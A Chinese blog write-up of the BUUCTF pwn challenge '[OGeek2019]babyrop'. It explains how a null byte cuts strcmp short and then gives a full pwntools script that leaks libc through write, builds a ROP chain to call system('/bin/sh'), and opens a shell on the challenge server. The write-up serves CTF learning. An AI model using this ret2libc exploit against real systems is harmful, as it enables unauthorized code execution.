关于buuctf[OGeek2019]babyrop 1的一些些小结

首先对于题目分析:

正常的32位小端序,checksec一下发现开了NX…………算了直接进正题。1.open函数的返回值,如果执行成功,他将返回一个文件描述,如果失败,他将返回-1.这里显然是成功了
2.文件描述符:0,1,2:是标准I/O输入、输出、错误。这里open执行成功了会返回3。
3.此时read(fd,&buf,4u)的意思是把fd指向的那个随机数输入buf中。
在这里插入图片描述
这里需要注意的是:strcmp函数可用“\x00”来截断,进而覆盖下面的v5变量,随后让
在这里插入图片描述
第二个read函数读入的“a1”足够覆盖栈,构造ROP。

EXP:

```python
from os import system
from pwn import*
from LibcSearcher import*
#context.log_level='debug'
p=remote('node4.buuoj.cn',27422)
elf= ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
payload1 = '\x00' + '\xff'*7
p.sendline(payload1)
p.recv()#这里尤其需要注意,当发送第一行字符时,程序本身会输出一次需要先接受了。
paylaod2 = 'a'*(0xe7+4) +p32(write_plt) +p32(0x8048825) +p32(1) +p32(write_got)+p32(8)
p.sendline(paylaod2)
write_addr_ = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
base_ = write_addr_ - libc.symbols['write']
system_ = base_ + libc.symbols['system']
binsh = base_ + libc.search('/bin/sh').next()
p.sendline(payload1)
p.recv()
paylaod = 'a'*0xeb + p32(system_)*2 + p32(binsh)
p.sendline(paylaod)
p.interactive()

这是对于LibcSearcher的一种使用方法,因为BUU上面给出了使用的libc库版本,另一种法子参照这位师傅的wp:LibcSearcher另一种解法

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值